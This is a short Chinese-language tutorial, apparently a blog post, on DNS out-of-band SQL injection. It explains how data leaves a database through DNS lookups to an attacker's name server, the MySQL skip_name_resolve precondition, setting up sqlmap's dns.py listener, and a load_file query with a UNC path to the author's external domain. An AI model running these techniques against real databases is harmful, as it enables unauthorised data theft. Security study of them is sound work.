SQL注入-DNS注入

1. 为什么要使用DNS注入

盲注跑数据太慢的情况下,选择DNS注入是一个好办法。

2. DNS注入的原理

把域名dns指向我们的服务器域名,这样的话解析域名的时候就会向我们的dns服务器查询。通过递归查询就可以获取数据库上的信息了。要记住整个域名内的节点标签被限制在63个字符长度大小。

3. DNS注入的要求

数据库在配置中允许域名解析时

到我们数据库中查看一下:show variables like ‘skip_name_resolve’;

SQL注入-DNS注入_第1张图片

skip_name_resolve这个参数是禁止域名解析

skip_name_resolve 为off时会进行域名解析

一旦开启此参数,所有远程主机连接数据库授权都要使用IP地址的方式。

生产环境正常都是开启的。

4. 实战

首先我们服务器上安装sqlmap

发现服务器已经有2.6的python环境了

在这里插入图片描述

直接pip install sqlmap
SQL注入-DNS注入_第2张图片

安装成功。

接着
在这里插入图片描述

找到sqlmap根目录

cd /usr/lib/python2.6/site-packages/sqlmap/lib/request/

SQL注入-DNS注入_第3张图片

dns.py

它的作用是监听53端口,先给它一个执行权限,+x

这里我直接给他最大权限了

chmod 777 dns.py

在mysql命令行执行 select load_file("\\xxx.zka7.xyz\txf");

\\ 经过传输后会变成\

txf是域名的下级目录,可以随便构造

执行后服务器就会有数据包(xxx.zka7.xyz)出现

  1. Sqlmap的自动化实现

在sqlmap中实现DNS注入加上参数

在服务器安装好了sqlmap然后运行dns.py

–dns-domain=域名

即可实现自动化。

你可能感兴趣的:(web安全,信息安全)